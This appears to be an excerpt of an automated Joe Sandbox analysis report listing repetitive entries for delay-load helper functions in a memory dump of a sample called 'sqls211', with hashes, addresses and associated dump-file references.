Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ed53e56fe1431cf1d1efcabd085c7e90cdd664511b77a18183d88fd946068231
Instruction ID: 04cbd5e43457d847bde3d88b7d63d3b2372b01470eb145ab9c97750e7810127d
Opcode Fuzzy Hash: ed53e56fe1431cf1d1efcabd085c7e90cdd664511b77a18183d88fd946068231
Instruction Fuzzy Hash: 08B012E135C144AC3144710A2E03C3B010CC0C0F28330403FFB05C83C1DC406E013432

Function 00CDE44B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE3FC

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ba6fc128ba983f12c0fb80883a90407a66f1f5df8c9b8785b49ed913924573fa
Instruction ID: 0dd66c898d7a7d38e083d22871dabd9da1c95a6f9295d7440b493458543b6859
Opcode Fuzzy Hash: ba6fc128ba983f12c0fb80883a90407a66f1f5df8c9b8785b49ed913924573fa
Instruction Fuzzy Hash: 45B012E139C154BC3244B1092E02C37024CC5C0B14330C03FFB04C93C0D8404C042433

Function 00CDE419 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE3FC

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4c5be4f876e6dd869f7ca1f8ebe5acc3f8a0f13c07e3eb9059652928c42c280d
Instruction ID: 0f9f964a9eaeead3f30d1b09614bf2daa097ae9cd16a2bb46b52704b6c9b14ef
Opcode Fuzzy Hash: 4c5be4f876e6dd869f7ca1f8ebe5acc3f8a0f13c07e3eb9059652928c42c280d
Instruction Fuzzy Hash: 2AB012E139C1547C324471092F02C37024CC4C0B14330C03FF704D93C0D8400C092433

Function 00CDE423 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE3FC

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6aa7e65921fb1b63189c2dfc53e026387ac1ada2381d0825eba352d89b8ef1eb
Instruction ID: 6aa3e0472f04e0bc3b12ce9d487fc5b8bf1f68f8a2c592f478a55009a72c2b3e
Opcode Fuzzy Hash: 6aa7e65921fb1b63189c2dfc53e026387ac1ada2381d0825eba352d89b8ef1eb
Instruction Fuzzy Hash: 8AB012F139C054BC3244B1096E02C37024CC5C0F14330803FFB04C93C0D8444E002433

Function 00CDE593 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE580

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1cf095dc4cbb5516949d570e6a1714b7e1e530dd1c745c1666b3221942f26ca9
Instruction ID: 51b04d439dc282cd60ec641f6f5472eaec988e42e98ea4f9f6030bf7e587a752
Opcode Fuzzy Hash: 1cf095dc4cbb5516949d570e6a1714b7e1e530dd1c745c1666b3221942f26ca9
Instruction Fuzzy Hash: BCB012C135C1587E3144B25A3D42C37011CC4C0B19330413FF604C93C0F8400C102432

Function 00CDE5A7 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE580

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a84cab41a747518621d55c943807c77346fda26ddb2d15eaa9bff7671fe3de31
Instruction ID: 026f5336c5e159d15af7b1c95a0cdd375be9ed83bc01ae4dc7e5b43bd6cbf941
Opcode Fuzzy Hash: a84cab41a747518621d55c943807c77346fda26ddb2d15eaa9bff7671fe3de31
Instruction Fuzzy Hash: 20B012C175C1547C3144B15A7E43C37012CC4D0B19330423FF604C93C0FC400D112432

Function 00CDE5B1 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE580

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b89f25a880f37bcb297f3eef057ba75c540da1dfe89b5e344ecb0cb088a9287e
Instruction ID: d63a90cb83e5a700623de1a181942a44534b7fa04c82cc622b8972d2e63a435b
Opcode Fuzzy Hash: b89f25a880f37bcb297f3eef057ba75c540da1dfe89b5e344ecb0cb088a9287e
Instruction Fuzzy Hash: 95B012C135C2547C3184B15A7D43C37012CC4D0B19330423FF604C93C0F8400C502432

Function 00CDE546 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE51F

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ebd7f5487998192a3d6dfafd57f73f0326e3827d1d16c459f4e35b0478a20dc2
Instruction ID: 4edc2b211c1d517db0808f51904492a1d50d3363f06a74a664135d2c00720351
Opcode Fuzzy Hash: ebd7f5487998192a3d6dfafd57f73f0326e3827d1d16c459f4e35b0478a20dc2
Instruction Fuzzy Hash: 13B09281258145BC224461096E02C3A0118C091B18320422BB604C8280A8400C442436

Function 00CDE50D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE51F

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b499c5a94cec49c7da0073d93b9165b5ee182b6e0e1991888a9eb03aa6ba4073
Instruction ID: d901c0898de7032e455e40ebe96c451dd669aa2411eecfdaddb51fbf25402681
Opcode Fuzzy Hash: b499c5a94cec49c7da0073d93b9165b5ee182b6e0e1991888a9eb03aa6ba4073
Instruction Fuzzy Hash: 97B012C135C045BC310431293E06C3B011CC0D1F18330403FF610CC6C1B8400D043432

Function 00CDE528 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE51F

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b89f841d95c0b845ab0ee70274fb06b173231146a4e6278e093c9facdfcd58fd
Instruction ID: d9369021ef2d72499ab7fe389e816bde34870684eb8b5b518bcc91bac16c495e
Opcode Fuzzy Hash: b89f841d95c0b845ab0ee70274fb06b173231146a4e6278e093c9facdfcd58fd
Instruction Fuzzy Hash: DEB09281358085AD214461092E02C3A0518C091B18320802FB604C8280A8400C012432

Function 00CDE532 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE51F

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1fd10d91d9f9df279b5432b12e151dce663ac2bcb2522751c66f93049d73bb21
Instruction ID: 1d458e69cf1336875d8c97b457d07dbc85e014781e2114fdbf794699b44a57f4
Opcode Fuzzy Hash: 1fd10d91d9f9df279b5432b12e151dce663ac2bcb2522751c66f93049d73bb21
Instruction Fuzzy Hash: 62B09281258045BE214461092E02D3A0118C091B18320412FF604C8280A8400C002432

Function 00CDE2CD Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE1E3

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 747564b174e68dd800eef8f1b377c566f9e2ced93376a546241ba11ada5c78d7
Instruction ID: 32b4fe423967cc5005fa365fee481c6c3c90d30bb60a30702c8974e5a6ee6657
Opcode Fuzzy Hash: 747564b174e68dd800eef8f1b377c566f9e2ced93376a546241ba11ada5c78d7
Instruction Fuzzy Hash: 07A001E63AD18ABC354872566E46C7B021DC4C5B69330893FFA16C86C2A89068457872

Function 00CDE2C3 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE1E3

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a9ebd94dde72b00b745ca18f9542677e462782ac7f9ec5fa6b636d3c768642c1
Instruction ID: 32b4fe423967cc5005fa365fee481c6c3c90d30bb60a30702c8974e5a6ee6657
Opcode Fuzzy Hash: a9ebd94dde72b00b745ca18f9542677e462782ac7f9ec5fa6b636d3c768642c1
Instruction Fuzzy Hash: 07A001E63AD18ABC354872566E46C7B021DC4C5B69330893FFA16C86C2A89068457872

Function 00CDE2D7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE1E3

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7ae3ccf22d12ad5e4eb9a37b793cd4a2d225eac0290722713f2d1c9f2d3c5375
Instruction ID: 32b4fe423967cc5005fa365fee481c6c3c90d30bb60a30702c8974e5a6ee6657
Opcode Fuzzy Hash: 7ae3ccf22d12ad5e4eb9a37b793cd4a2d225eac0290722713f2d1c9f2d3c5375
Instruction Fuzzy Hash: 07A001E63AD18ABC354872566E46C7B021DC4C5B69330893FFA16C86C2A89068457872

Function 00CDE29B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE1E3

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9834e53d724afc10a92121470adf7417b088ec847316550bb4aef95d13dd5ce9
Instruction ID: 32b4fe423967cc5005fa365fee481c6c3c90d30bb60a30702c8974e5a6ee6657
Opcode Fuzzy Hash: 9834e53d724afc10a92121470adf7417b088ec847316550bb4aef95d13dd5ce9
Instruction Fuzzy Hash: 07A001E63AD18ABC354872566E46C7B021DC4C5B69330893FFA16C86C2A89068457872

Function 00CDE291 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE1E3

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 78a0318e684395c565cef246eda468dae07e002fb19effc05d909ecc40e5f090
Instruction ID: 32b4fe423967cc5005fa365fee481c6c3c90d30bb60a30702c8974e5a6ee6657
Opcode Fuzzy Hash: 78a0318e684395c565cef246eda468dae07e002fb19effc05d909ecc40e5f090
Instruction Fuzzy Hash: 07A001E63AD18ABC354872566E46C7B021DC4C5B69330893FFA16C86C2A89068457872

Function 00CDE2AF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE1E3

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: db1babc88a72de3b1b47c92c3561b2fb04d8ca18855abf0dd7b7acb3c0d012f1
Instruction ID: 32b4fe423967cc5005fa365fee481c6c3c90d30bb60a30702c8974e5a6ee6657
Opcode Fuzzy Hash: db1babc88a72de3b1b47c92c3561b2fb04d8ca18855abf0dd7b7acb3c0d012f1
Instruction Fuzzy Hash: 07A001E63AD18ABC354872566E46C7B021DC4C5B69330893FFA16C86C2A89068457872

Function 00CDE2A5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE1E3

